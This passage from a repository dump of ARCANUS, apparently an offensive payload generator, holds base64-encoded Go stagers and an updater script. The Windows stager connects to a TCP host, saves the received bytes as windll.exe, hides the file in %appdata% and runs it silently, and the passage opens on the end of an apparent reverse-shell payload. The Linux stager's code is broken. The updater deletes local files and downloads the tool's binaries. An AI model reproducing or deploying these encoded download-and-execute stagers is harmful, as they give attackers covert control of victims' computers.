Q7CiAgICBjbWQuU3RkZXJyPWNvbm5lY3Q7CiAgICBjbWQuUnVuKCk7Cn0=" 715 | 716 | 717 | var WIN_STAGER_PAYLOAD string = "CgpwYWNrYWdlIG1haW4KCgppbXBvcnQgIm9zIgppbXBvcnQgIm5ldCIKaW1wb3J0ICJ0aW1lIgppbXBvcnQgImlvIgppbXBvcnQgIm9zL2V4ZWMiCmltcG9ydCAicnVudGltZSIKaW1wb3J0ICJzeXNjYWxsIgoKY29uc3QgVklDVElNX0lQID0gIjEyNy4wLjAuMSI7CmNvbnN0IFZJQ1RJTV9QT1JUID0gIjg1NTIiOwoKZnVuYyBtYWluKCkgewogIAogIENvbm5lY3QsIGVyciA6PSBuZXQuRGlhbCgidGNwIiwgVklDVElNX0lQKyI6IitWSUNUSU1fUE9SVCk7CiAgaWYgZXJyICE9IG5pbCB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgdGltZS5TbGVlcCg1KnRpbWUuU2Vjb25kKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICBtYWluKCk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgfTsKICBmaWxlLCBfIDo9IG9zLkNyZWF0ZSgid2luZGxsLmV4ZSIpOwogIGlvLkNvcHkoZmlsZSwgQ29ubmVjdCk7CiAgcnVudGltZS5HQygpCiAgTW92ZV9TdHJpbmcgOj0gc3RyaW5nKCJtb3ZlIHdpbmRsbC5leGUgIisiJSIrImFwcGRhdGEiKyIlIikKICBNb3ZlIDo9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgTW92ZV9TdHJpbmcpOwogIE1vdmUuU3lzUHJvY0F0dHIgPSAmc3lzY2FsbC5TeXNQcm9jQXR0cntIaWRlV2luZG93OiB0cnVlfTsKICBNb3ZlLlJ1bigpCiAgRXhlY3V0ZV9TdHJpbmcgOj0gc3RyaW5nKCIlIisiYXBwZGF0YSIrIiUiKyJcXHdpbmRsbC5leGUiKQogIEV4ZWN1dGUgOj0gZXhlYy5Db21tYW5kKCJjbWQiLCAiL0MiLCBFeGVjdXRlX1N0cmluZyk7CiAgRXhlY3V0ZS5TeXNQcm9jQXR0ciA9ICZzeXNjYWxsLlN5c1Byb2NBdHRye0hpZGVXaW5kb3c6IHRydWV9OwogIEV4ZWN1dGUuUnVuKCkKfQ==" 718 | 719 | 720 | var LINUX_STAGER_PAYLOAD string = "CgpwYWNrYWdlIG1haW4KCgppbXBvcnQgIm9zIgppbXBvcnQgIm5ldCIKaW1wb3J0ICJ0aW1lIgppbXBvcnQgImlvIgppbXBvcnQgIm9zL2V4ZWMiCmltcG9ydCAicnVudGltZSIKaW1wb3J0ICJzeXNjYWxsIgoKY29uc3QgVklDVElNX0lQID0gIjEyNy4wLjAuMSI7CmNvbnN0IFZJQ1RJTV9QT1JUID0gIjg1NTIiOwoKZnVuYyBtYWluKCkgewogIAogIENvbm5lY3QsIGVyciA6PSBuZXQuRGlhbCgidGNwIiwgVklDVElNX0lQKyI6IitWSUNUSU1fUE9SVCk7CiAgaWYgZXJyICE9IG5pbCB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgdGltZS5TbGVlcCg1KnRpbWUuU2Vjb25kKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICBtYWluKCk7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgfTsKICBmaWxlLCBfIDo9IG9zLkNyZWF0ZSgibGludXhsaWIiKTsKICBpby5Db3B5KGZpbGUsIENvbm5lY3QpOwogIHJ1bnRpbWUuR0MoKQogIGV4ZWMuQ29tbWFuZCgic2giLCAiLWMiLCAiY2htb2QgNzc3IGxpbnV4bGliIikKICBFeGVjdXRlIDo9IGV4ZWMuQ29tbWFuZCgiY21kIiwgIi9DIiwgLi9saW51eGxpYik7CiAgRXhlY3V0ZS5SdW4oKQp9" 721 | -------------------------------------------------------------------------------- /SOURCE/Update.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "net/http" 4 | import "os/exec" 5 | import "strings" 6 | import "os" 7 | import "io/ioutil" 8 | import "runtime" 9 | import "github.com/fatih/color" 10 | 11 | 12 | 13 | 14 | func main() { 15 | 16 | 17 | Repo := [6]string{"https://github.com/EgeBalci/ARCANUS/blob/master/SOURCE/ARCANUS.go", "https://github.com/EgeBalci/ARCANUS/raw/master/ARCANUS_x64", "https://github.com/EgeBalci/ARCANUS/raw/master/ARCANUS_x64.exe", "https://github.com/EgeBalci/ARCANUS/raw/master/ARCANUS_x86", "https://github.com/EgeBalci/ARCANUS/raw/master/ARCANUS_x86.exe", "https://github.com/EgeBalci/ARCANUS/raw/master/README.md"} 18 | 19 | if runtime.GOOS == "windows" { 20 | exec.Command("cmd", "/C", "msg ARCANUS Update Started...").Run() 21 | exec.Command("cmd", "/C", "del ARCANUS.go").Run() 22 | exec.Command("cmd", "/C", "del ARCANUS_x64.exe").Run() 23 | exec.Command("cmd", "/C", "del ARCANUS_x86.exe").Run() 24 | exec.Command("cmd", "/C", "del ARCANUS_x64").Run() 25 | exec.Command("cmd", "/C", "del ARCANUS_x86").Run() 26 | color.Blue("[*] Updating ARCANUS...\n\n") 27 | for i := 0; i < len(Repo); i++ { 28 | response, _ := http.Get(Repo[i]) 29 | defer response.Body.Close(); 30 | body, _ := ioutil.ReadAll(response.Body); 31 | 32 | Name := strings.Split(Repo[i], "/") 33 | color.Green("# "+string(Name[(len(Name)-1)])+" [OK]") 34 | file, _ := os.Create(string(Name[(len(Name)-1)])) 35 | 36 | file.WriteString(string(body)) 37 | } 38 | /*ARC, _ := exec.Command("cmd", "/C", "echo %PROCESSOR_ARCHITECTURE%").Output() 39 | if strings.Contains(string(ARC), "x86") || strings.Contains(string(ARC), "X86") { 40 | exec.Command("cmd", "/C", "ARCANUS_x86.exe").Start() 41 | }else if strings.Contains(string(ARC), "AMD64") { 42 | exec.Command("cmd", "/C", "ARCANUS_x64.exe").Start() 43 | }*/ 44 | exec.Command("cmd", "/C", "msg * ARCANUS Updated Succesfuly !").Run() 45 | }else if runtime.GOOS == "linux" { 46 | exec.Command("sh", "-c", "zenity --info --text=\"ARCANUS Update Started... \"").Run() 47 | exec.Command("sh", "-c", "rm ARCANUS.go").Run() 48 | exec.Command("sh", "-c", "rm ARCANUS_x64.exe").Run() 49 | exec.Command("sh", "-c", "rm ARCANUS_x86.exe").Run() 50 | exec.Command("sh", "-c", "rm ARCANUS_x64").Run() 51 | exec.Command("sh", "-c", "rm ARCANUS_x86").Run() 52 | color.Blue("[*] Updating ARCANUS...\n\n") 53 | for i := 0; i < len(Repo); i++ { 54 | response, _ := http.Get(Repo[i]) 55 | defer response.Body.Close(); 56 | body, _ := ioutil.ReadAll(response.Body); 57 | 58 | Name := strings.Split(Repo[i], "/") 59 | color.Green("# "+string(Name[(len(Name)-1)])+" [OK]") 60 | file, _ := os.Create(string(Name[(len(Name)-1)])) 61 | 62 | file.WriteString(string(body)) 63 | } 64 | exec.Command("sh", "-c", "zenity --info --text=\"ARCANUS Updated Succesfuly !\"").Run() 65 | /*ARC, _ := exec.Command("sh", "-c", "uname -a").Output() 66 | if strings.Contains(string(ARC), "x86") || strings.Contains(string(ARC), "X86") { 67 | exec.Command("sh", "-c", "./ARCANUS_x86").Start() 68 | }else if strings.Contains(string(ARC), "amd64") { 69 | exec.Command("sh", "-c", "./ARCANUS_x64").Start() 70 | }*/ 71 | 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /Update: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EgeBalci/ARCANUS/7050f66cd3a0d23d9d3217279307f5e775d4729d/Update -------------------------------------------------------------------------------- /Update.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EgeBalci/ARCANUS/7050f66cd3a0d23d9d3217279307f5e775d4729d/Update.exe --------------------------------------------------------------------------------